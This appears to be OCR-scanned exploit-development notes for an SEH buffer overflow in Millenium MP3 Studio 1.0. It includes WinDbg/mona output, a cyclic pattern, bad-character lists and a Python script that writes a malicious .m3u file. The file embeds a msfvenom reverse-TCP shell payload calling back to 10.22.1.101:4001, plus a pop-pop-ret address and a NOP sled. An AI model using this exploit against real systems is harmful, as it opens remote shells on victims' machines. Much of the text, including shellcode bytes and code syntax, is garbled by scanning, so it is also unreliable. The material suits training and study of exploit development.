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Millenium MP3

seh exploit with some twists

Windbg/mona notes

0:000> r

eax=00185748 ebx=00185748 ecx=00000000 edx=46376846 esi=0018471c
edi=0623c00c

eip=00403734 esp=00184708 ebp=0018577c iopl=0 nv up ei pl nz na po
nc

cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b

efl1=00210202

MP3Studio+0x3734:

00403734 8b4af8 mov ecx,dword ptr [edx-8]

> da poi(fs:[0])
00185730 "Fg9FhOFh1Fh2Fh3Fh4Fh5Fh6"

> lexchain
00185730: 68463068
Invalid exception stack at 46396746

0:000> db esp L30

00184708 30 38 40 00 48 57 18 00-00 00 00 00 c4 72 81 00 0O8@.HW....... r..
00184718 0b f8 42 00 31 09 68 74-74 70 3a 2f 2f 41 61 30 ..B.l.http://Aa0
00184728 41 61 31 41 61 32 41 61-33 41 61 34 41 61 35 41 AalAa2Aa3AadAabA

C:\_c\exploits>python pattern.py "Fg9F"
Pattern Fg9F first occurrence at position 4107 in pattern.

.load pykd.pyd
I'py mona seh -cp nonull

0x003f0000 | Ox003f9000 | Ox000E9000 | True | False | False | False
| False | 1.2.0.0 [xoutput.dll] (C:\mp3-millennium\xoutput.dll)
0x76470000 | 0x76497000 | Ox00027000 | False | True | True | True
| True | 6.1.7601.17621 [CFGMGR32.d1ll] (C:\Windows\syswow64\CFGMGR32.d1l1)
0x00400000 | 0x005b7000 | Ox001b7000 | False | False | False | False
| False | -1.0- [MP3Studio.exe] (C:\mp3-millennium\MP3Studio.exe)
0x75320000 | 0x75410000 | Ox000fEEEO | False | True | True | True
| True | 6.1.7601.23915 [RPCRT4.dll] (C:\Windows\syswow64\RPCRT4.dl1)
0x72860000 | Ox7286f000 | Ox00EOfEEO | False | True | True | True
| True | 6.1.7601.17514 [wkscli.dll] (C:\Windows\SysWOw64\wkscli.dll)
0x729b000O | Ox729b80OOO | OxOEEE80E0 | False | True | True | True
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| True
| True

| False

0x10014e98 |

0x10014e98 :
[xaudio.dll] ASLR: False, Rebase:

| 6.1.7600.16385 [DAVHLPR.d11]
0x75420000 | 0x75480000 | 0x00060000 | False
| 6.1.7601.17514 [IMM32.DLL]
0x10000000 | 0x10044000 | 0x00044000 | False
| 3.0.7.0 [xaudio.dll]

(C:\mp3-millennium\xaudio.dll)

0:000> dp fs:[0]

0053:
0053:
0053:
0053:
0053:
0053:
0053:
0053:
0:000> dp

00000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070

00185e7c
00001e00
00000090
7efde000
00000000
00000000
00000000
00000000

00185e7c

00190000
00000000
00000fd8
00000003
00000000
00000000
00000000
00000000

pop esi # pop ecx # ret

False, SafeSEH:

00184000
7efdd000
00000000
00000000
00000000
00000000
00000000
00000000

00000000
00000000
00752ee0
00000000
00000000
00000000
00000000
00000000

| False
(C:\mp3-millennium\xaudio.dll)

00185e7c
00185e8c
00185e9c
00185eac
00185ebc
00185ecc
00185edc

10014398
42424242
42424242
42424242
42424242
42424242
42424242

Exploit code

milleniump3.py

42424242
42424242
42424242
42424242
42424242
42424242
42424242

#!/usr/bin/python
#Millenium MP3 1.0

path

42424242
00000000
42424242
42424242
42424242
42424242
42424242

42424242
42424242
42424242
42424242
42424242
42424242
42424242

"C:\mp3-millennium\exploit.m3u"

pattern
"AaOAalAa2Aa3AadAa5AabAa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6AD7AbD8ADOACOACIAC2A
C3Ac4Ac5Acb6Ac7Ac8AC9AdO0Ad1IAd2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Aeb6
Ae7Ae8Ae9ATOATIAT2AT3AT4AAT5AT6AT7AT8ATIOAgOAg1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9AN
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8AN9A10A11A12A13A14A15Ai6A17A18A19Aj0Aj1Aj2A]3A
j4Aj5Aj6A]7Aj8Aj9AKOAK1AKk2AKk3AK4AK5AK6AK7AK8AKOATOATIAL2A13AT4AL5A16A17
A18AT9AMOAMIAM2AM3AM4Am5AM6AM7Am8AM9ANOAN1AN2AN3ANn4An5An6An7ANn8ANn9A00A0
1A02A03A04A05A06A07A08A09APOAP1AP2AP3AP4APS5AP6APp7AP8AP9AgOAQql1Ag2Aq3Ag4A
g5Aq6Aq7Agq8Aq9Ar0Ar1Ar2Ar3Ard4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8

(C:\Windows\SysWOW64\DAVHLPR.d11)
| True
(C:\Windows\SysWOW64\IMM32.DLL)
| False |

True

False

{PAGE EXECUTE READ}
False, 0S: False, v3.0.7.0
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AsOAtOAt1At2At3At4At5At6At7At8AT9AUOAUIAU2AU3AU4AUSAUBAU7AUBAU9AVOAVIAY
2Av3AVv4AVv5AV6AV7AVBAVIAWOAWIAW2 Aw3AWAAWS AW6AW7 AWBAWIAXOAXIAX2AX3AX4AX5A
X06AX7Ax8AXx9AYy0Ay1Ay2Ay3Ay4Ay5Ay06Ay7Ay8Ay9Az0AZz1AZz2Az3Az4Az5Az6Az7Az8Az9
Ba®BalBa2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9BCcOBCc1BCc2BC
3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6B
e7Be8Be9BfOBf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8BfO9BgOBg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9BhO
Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj
4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9B1OB11B12B13B14B15B16B17B
18B19BmOBmM1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9BnOBn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9B00B01
Bo2Bo3B0o4Bo5B0o6B0o7Bo8B0o9Bp0OBp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9BgOBqlBg2Bq3Bg4Bq
5Bq6Bq7Bq8Bq9BrOBr1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8B
s9BtOBt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu@BuUlBu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9BvOBV1BVv2
Bv3Bv4Bv5Bv6Bv7Bv8Bv9BwOBwW1Bw2Bw3Bw4Bw5Bw6Bw7Bw8BwIBX0BXx1BXx2Bx3Bx4Bx5Bx
6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9C
a0CalCa2Ca3Cad4Ca5Ca6Ca7Ca8Ca9ChOCb1Cb2Cb3Cb4Cb5Ch6Ch7Ch8ChICcOCc1Cc2Cc3
Cc4Cc5Ccb6Cc7Cc8Cc9CdOCd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0CelCe2Ce3Ce4Ce5CebC e
7Ce8Ce9CTOCT1ICF2CF3CF4CT5CFECT7CT8CTICg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9ChaC
h1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4
Cj5Cj6Cj7Cj8Cj9CkOCKk1Ck2CK3Ck4Ck5Ck6Ck7Ck8CkACLOCL1ICTL2CTL3CL4C1L5CL6CLTCL
8C19CMOCM1CmM2Cm3Cm4Cm5CmM6CM7Cm8CMICNOCN1CN2CN3Cn4Cn5Cn6CN7CN8CN9C00C0o1C
02C03C04C05C06C07C08C09CPOCP1CP2CP3Cp4Cp5Cp6Cp7Cp8Cp9CqaCqlCqg2Cq3Cg4Ca5
Cq6Cq7Cq8Ca9CrOCr1Cr2Cr3Cr4Cr5CroCr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs
9CtOCt1Ct2Ct3Ct4Ct5CtoCt7Ct8Ct9CUOCULICU2CuU3Cu4Cu5CubCu7Cu8Cu9CvOCv1Cv2C
v3Cv4Cv5Cv6Cv7Cv8CVICWOCWICW2Cw3Cw4CwS5CwoCw7 Cw8CwICXOCX1Cx2CXx3Cx4Cx5Cx6
Cx7Cx8Cx9Cy0OCy1Cy2Cy3Cy4Cy5Cyb6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6C2z7Cz8Cz9Da
0ODalDa2Da3Da4Da5Da6Da7Da8Da9Db0ODb1Db2Db3Db4Db5Db6Db7Db8Db9DCcODCc1Dc2Dc3D
c4Dc5Dc6Dc7Dc8Dc9DdODA1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9DeODelDe2De3De4De5De6bDe?
De8De9DfODT1Df2Df3DFf4DF5Df6Df7DF8DFfODgODg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9DhODN
1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di10D11Di2Di3Di4Di5Di6Di7Di8Di9Dj0ODj1Dj2Dj3Dj4D
j5Dj6Dj7Dj8Dj9DkODK1Dk2Dk3Dk4DKk5Dk6Dk7DKk8DKOD1OD11D12D13D14D15D16D17D18
D19DmODmM1DmM2Dm3Dm4Dm5Dm6DmM7Dm8DMIODNODN1DN2DN3DN4Dn5DN6DN7Dn8DNn9D0o0D01DoL
Eh2Eh3Eh4Eh5Eh6EhR7ER8EN9EiOEi1Ei2Ei3Ei4EiSEi6Ei7Ei8EI9EjOEj1Ej2Ej3Ej4E]
5Ej6Ej7Ej8Ej9EKOEK1EK2EK3EK4EKSEK6EK7EKS8EKOETOEL1EL2EL3ET4ELSELGEL7EL8E
L9EMOEM1EM2Em3EM4EMSEM6EM7EMBEMOENOEN1EN2EN3EN4ENSENG6EN7EN8EN9E0OEO1ED2
E03E04E05E06E07E08E09EPOEP1EP2EP3EP4EPSEPGEP7EPSEPOEQOEqLEq2EQ3Eq4EQSEQ
6EqQ7EQ8EQ9ErOErlEr2Er3Er4Er5Er6Er7Er8Er9EsOES1ES2ES3ES4ESS5ES6ES7ES8ESOE
tOEt1Et2Et3Et4Et5Et6Et7Et8Et9EUOEUlEU2EU3EU4EUSEUGEU7EUBEU9EVOEV1EV2EV3
EV4EV5EV6EV7EVBEVIEWOEW1EW2EW3EW4EWSEWOEW7 EWSEWIEXOEX1EX2EX3EX4EXS5EXGEX
7ExX8EX9EYOEY1Ey2Ey3Ey4Ey5EY0EY7EY8EY9EZOEZz1EZz2EZ3EZz4EZz25EZ26EZ7EZ8EZz9Fa0F
alFa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9FbOFb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9FCcOFCc1Fc2Fc3Fc4
Fc5Fc6Fc7Fc8Fc9FdOFd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9FeOFelFe2Fe3Fed4Fe5Fe6Fe7Fe
8Fe9FfOFf1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9FgOFglFg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9FhOFh1F
h2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9FjOFj1Fj2Fj3Fj4Fj5
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Fj6Fj7Fj8Fj9FKkOFk1Fk2Fk3Fk4FK5Fk6Fk7FK8FKkOFLOFL1F12F13FL4FL5FL6F17F18F1
OFMOFmM1FmM2Fm3Fm4Fm5Fm6FmM7Fm8FMOFNOFNn1Fn2Fn3FN4Fn5Fn6Fn7Fn8Fn9F00Fo01F02F
03F04Fo5F06F07F08F09FpOFplFp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9FqOFqlFg2Fg3Fq4Fq5Fq6
FqQ7FQ8Fq9FrOFr1Fr2Fr3Fr4Fr5FroFr7Fr8Fr9FsOFs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9OFt
OFt1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9FuUOFulFu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9FvOFv1Fv2Fv3F
V4FV5FVv6Fv7Fv8FVIFWOFw1Fw2Fw3Fw4Fw5FwoFw7 Fw8FWIFXOFX1FX2FX3FX4FX5FX6FX7
Fx8Fx9FyOFyl1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga
1Ga2Ga3Ga4Ga5Gab6Ga7Ga8Ga9GbOGb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Ghb9GcOGCc1GCc2GC3GC4G
¢c5Gc6Gc7Gc86c96d0Gd16d2Gd36d4Gd5Gd6Gd7Gd8Gd9Ge0GelGe2Ge3Ge4Ge5GebGe7Ge8
Ge9GTOGT1GT2Gf3Gf4GT5GT6GT7GF8GT96g0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9GhOGh1Gh
2Gh3Gh4Gh5Gh6Gh7Gh8Gh9G1i061i16G12G13G1i4Gi5G16G17G1i8Gi9Gj0Gj1Gj2Gj3Gj4G]5G
j6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5GK"

#badchars =

"\ x01\x02\ x03\ x04\ x05\x06\ x07\x08\ x09\ x0a\ x0b\ x0c\ x0d\ x0e\xO0f\x10\x11\x
12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\ x1e\x1f\x20\x21\x22\x23\
X24\x25\x26\x27\ x28\x29\ x2a\ x2b\ x2c\ x2d\ x2e\x2f\ x30\x31\x32\x33\|x34\x35
| x36\x371x38\x39\x3a\ x3b\ x3c\ x3d\ x3e\ x3f\ x40\ x41\ x42\ x43\ x44\ x45\ x46\ x4
7\ x48\ x49\ x4a\ x4b\ x4c\ x4d\ x4e\ x4\ x50\ x51\ x52\ x53\ x54\ x55\x56\x57\x58\ x
59\x5a\x5b\x5¢c\ x5d\ x5e\ x5F1x60\x61\x62|x63\x64\1x65\x66\x67|x68|x69\x6a\
x6b\x6c\x6d\ x6e\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c
\x7d\x7e\x7f\ x80\x81\x82\x83\x84\x85|x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8
e\ x87\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\ x9a\x9b\x9c\x9d\| x9e|x9f\| x
af\xal\xa2\xa3\xa4\xa5\xab\xa7\xa8\xa9\|xaa\xab\|xac\xad\xae\xaf\xbO\xbl\
xb2\xb3\ xb4\xb5\xb6\xb7\xb8\xb9\ xba\xbb\xbc\xbd\xbe\xbf\xcO\xcl\xc2\xc3
|\ xc4\xc5\xcb6\xc7\xc8\xc9\xcalxcb\xcc\xcd\xce\xcf\xdO\xdl\xd2\xd3\xd4\xd
5\xd6\ xd7\ xd8\ xd9\ xda\| xdb\ xdc\ xdd\ xde\ xdf\|xe0\xel\xe2\xe3\xe4\xe5\xeb\x
e7\xe8\ xe9\ xea\ xeb\ xec\ xed\ xee\ xef\xfO\ XTI\ X2\ XT3\ x4\ x5\ xf6\xT7\x18)\
xf9\xfa\xfb\xfc\xfd\xfe\xff"

badchars =
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x
14\x15\x16\x17\x18\x19\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\
X27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38
\Xx39\x3a\x3b\x3c\x3d\x3e\x3T\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\ x4
a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x
5c\x5d\x5e\x5F\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\
x6e\x6 T\Xx70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f
\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x9
1\x92\x93\x94\x95\x96\x97\x98\ x99\ x9a\x9b\x9c\x9d\x9e\x9f\xa0\xal\xa2\x
a3\xad\xa5\xab6\xa7\xa8\xa9%\xaa\xab\xac\xad\xae\xaf\xbO\xb1\xb2\xb3\xb4\
xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xcO\xcl\xc2\xc3\xc4\xc5\xc6
\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xdO\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd
8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xel\xe2\xe3\xed4\xe5\xe6\xe7\xe8\xe9\x
ea\xeb\xec\xed\xee\xef\XxfO\XTI\XT2\XT3I\XTA\XT5\XTO\XT7\xT8\XxTO\xTa\xTb\
xfc\xfd\xfe\xff"

# msfvenom -p windows/shell reverse tcp lhost=10.22.1.101 lport=4001
EXITFUNC=seh -b '\x00\x0d\x0a\xla' -f python -e x86/shikata ga nai
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# 351

buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf

+ + + + 4+ +++ A+

"\xd9\xce\xbe\x2e\xTfa\x90\xa0\xd9\x74\x24\xf4\x58\x31"
"\XxCc9\xb1\x52\x83\xcO\x04\x31\x70\x13\x03\x5e\xe9\x72"
"\x55\x62\xe5\xTf1\x96\x9%9a\xT6\x95\x1f\x7f\xc7\x95\x44"
"\xf4\x78\x26\x0e\x58\x75\xcd\x42\x48\x0e\xa3\x4a\x7f"
"\xa7\x0e\xad\x4e\x38\x22\x8d\xd1\xba\x39\xc2\x31\x82"
"\xf1\x17\x30\xc3\xec\xda\x60\x9c\x7b\x48\x94\xa9\x36"
"\Xx51\x1f\xel\xd7\xdI\xfc\xb2\xd6\xfO\x53\xc8\x80\xd2"
"\x52\x1d\xb9\x5a\x4c\x42\x84\x15\xe7\xb0\x72\xa4\x21"
"\x89\x7b\x0b\x0c\x25\x8e\x55\x49\x82\x71\x20\xa3\xf0"
"\x0c\x33\x70\x8a\xca\xb6\x62\x2c\x98\x61\x4e\xcc\x4d"
"\XxT7\x05\xc2\x3a\x73\x41\xc7\xbd\x50\xfa\xf3\x36\x57"
"\x2c\x72\x0c\x7c\xe8\xde\xd6\x1d\xa9\xba\xb9\x22\xa9"
"\x64\x65\x87\xa2\x89\x72\xba\xe9\xc5\xb7\xf7\x11\x16"
"\xd0\x80\x62\x24\x7f\x3b\xec\x04\x08\xe5\xeb\x6b\x23"
"\x51\x63\x92\xcc\xa2\xaa\x51\x98\xf2\xc4\x70\xal\x98"
"\x14\x7c\x74\x0e\x44\xd2\x27\xef\x34\x92\x97\x87\x5e"
"\x1d\xc7\xb8\x61\xf7\x60\x52\x98\x90\x84\xb5\xa3\x05"
"\xT1\xbb\xa3\xca\xa0\x35\x45\xbe\xb2\x13\xde\x57\x2a"
"\x3e\x94\xc6\xb3\x94\xd1\xc9\x38\x1b\x26\x87\xc8\x56"
"\x34\x70\x39\x2d\x66\xd7\x46\x9b\x0e\xbb\xd5\x40\xce"
"\xb2\xc5\xde\x99\x93\x38\x17\x4f\x0e\x62\x81\x6d\xd3"
"\xT2\xea\x35\x08\xc7\xf5\xb4\xdd\x73\xd2\xa6\x1b\x7b"
"\x5e\x92\xf3\x2a\x08\x4c\xb2\x84\xfa\x26\x6c\x7a\x55"
"\xae\xe9\xb0\x66\xa8\xT5\x9c\x10\x54\x47\x49\x65\x6b"
"\x68\x1d\x61\x14\x94\xbd\x8e\xcf\x1lc\xc3\x7f\xdd\x88"
"\x54\x26\xb4\xT0\x38\xd9\x63\x36\x45\x5a\x81\xc7\xb2"
"\x42\xe0\xc2\xff\xc4\x19\xbf\x90\xa0\x1d\x6c\x90\xe0"

shellcode = buf

buffer "http://"

buffer += 'A'*4103

#buffer+= "\xcc\xcclxcc\xcc" # break points
buffer += "\x90\x90\xeb\x1lc" # jmp 06
buffer += "\x98\x4e\x01\x10" # address of pop pop ret
buffer += "\x90"*30

buffer += shellcode

buffer += 'B' * (5000 - len(buffer

f = open(path, "w"

f.write(buffer

f.close
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